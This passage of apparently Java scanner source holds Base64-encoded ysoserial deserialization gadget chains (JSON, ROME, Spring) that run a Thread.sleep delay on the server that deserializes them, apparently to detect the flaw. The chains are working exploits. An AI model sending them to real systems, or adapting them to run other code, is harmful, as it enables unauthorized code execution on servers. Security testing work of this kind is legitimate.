mxlAQAEdGhpcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAZAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAA0ZvbwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoAAQABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAADsAEgAAAAwAAQAAAAUAEwAUAAAAAgAVAAAAAgAWABcAAAAKAAEAAQAYABoACXB0AARQd25ycHcBAHhxAH4ABXNxAH4AAnEAfgAScQB-ACxxAH4ANHg"));
        payloadsSleep.put("JSON (Sleep)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw-QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB-AAN4cABzcQB-AAA_QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB-AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA-wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB-ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB-ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY-LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB-ACBxAH4AIHhzcQB-ACFwdwQAAAABcQB-ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6_T_jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW_AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB-ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS_Pmp-D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9-DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4-roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAlJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MABlfYWNjZXNzRXh0ZXJuYWxTdHlsZXNoZWV0cQB-ABxMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB-ABxMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD_____AHQAA2FsbHB1cgADW1tCS_0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGJcr-ur4AAAAxADIHADABADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQAfeXNvc2VyaWFsL1B3bmVyMjQ5NTYyMzkzMzM0NjA4NwEAIUx5c29zZXJpYWwvUHduZXIyNDk1NjIzOTMzMzQ2MDg3OwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC4AEgAAAAwAAQAAAAUAEwAxAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAzABIAAAAgAAMAAAABABMAMQAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA3ABIAAAAqAAQAAAABABMAMQAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAABkAAwACAAAADacAAwFMEScQhbgAL7EAAAAAAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB-AEgAAAHUyv66vgAAADEAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ-AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA-xAAAAAgARAAAABgABAAAAOwASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB-ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB-ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AVHEAfgAdcQB-AAVzcQB-AAJxAH4AB3EAfgBOcQB-AFV4"));
        payloadsSleep.put("ROME (Sleep)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB-AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAJSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAAZX2FjY2Vzc0V4dGVybmFsU3R5bGVzaGVldHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AEEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP____8AdAADYWxscHVyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAYlyv66vgAAADEAMgcAMAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAGQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHACcBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEACDxjbGluaXQ-AQAQamF2YS9sYW5nL1RocmVhZAcAKgEABXNsZWVwAQAEKEopVgwALAAtCgArAC4BAB95c29zZXJpYWwvUHduZXIyNTkwNTI4MjIxMjgwNjEwAQAhTHlzb3NlcmlhbC9Qd25lcjI1OTA1MjgyMjEyODA2MTA7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA-xAAAAAgARAAAABgABAAAALgASAAAADAABAAAABQATADEAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAADMAEgAAACAAAwAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAADcAEgAAACoABAAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAGQADAAIAAAANpwADAUwRJxCFuAAvsQAAAAAAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4AGQAAAdTK_rq-AAAAMQAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAA7ABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmpxAH4ACXhwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHEAfgAVc3IAKmNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLlRvU3RyaW5nQmVhbgn1jkoPI-4xAgACTAAKX2JlYW5DbGFzc3EAfgAeTAAEX29ianEAfgAJeHBxAH4AIXEAfgAVc3EAfgAddnEAfgACcQB-AA1zcQB-ACJxAH4AJXEAfgANcQB-AAZxAH4ABnEAfgAGeA"));
        payloadsSleep.put("Spring (Sleep)", Base64.decodeBase64("rO0ABXNyAElvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkTWV0aG9kSW52b2tlVHlwZVByb3ZpZGVyskq0B4tBGtcCAANJAAVpbmRleEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwcm92aWRlcnQAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL2NvcmUvU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyO3hwAAAAAHQADm5ld1RyYW5zZm9ybWVyc30AAAABAD1vcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAHZ2V0VHlwZXN9AAAAAgAWamF2YS5sYW5nLnJlZmxlY3QuVHlwZQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cQB+AAZzcgBgb3JnLnNwcmluZ2ZyYW1ld29yay5iZWFucy5mYWN0b3J5LnN1cHBvcnQuQXV0b3dpcmVVdGlscyRPYmplY3RGYWN0b3J5RGVsZWdhdGluZ0ludm9jYXRpb25IYW5kbGVyhWLLwAz9MRMCAAFMAA1vYmplY3RGYWN0b3J5dAAxTG9yZy9zcHJpbmdmcmFtZXdvcmsvYmVhbnMvZmFjdG9yeS9PYmplY3RGYWN0b3J5O3hwc30AAAABAC9vcmcuc3ByaW5nZnJhbWV3b3JrLmJlYW5zLmZhY3RvcnkuT2JqZWN0RmFjdG9yeXhxAH4ABnNxAH4ACXNxAH4ADT9AAAAAAAAMdwgAAAAQAAAAAXQACWdldE9iamVjdHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AAUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAyADMHADEBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjI2NzQzNDE4NzQ1MzUyMwEAIEx5c29zZXJpYWwvUHduZXIyNjc0MzQxODc0NTM1MjM7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAJQASAAAADAABAAAABQATADIAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAACgAEgAAACAAAwAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAACsAEgAAACoABAAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAIgADAAIAAAANpwADAUwRJxCFuAAvsQAAAAEAMAAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4AIQAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50V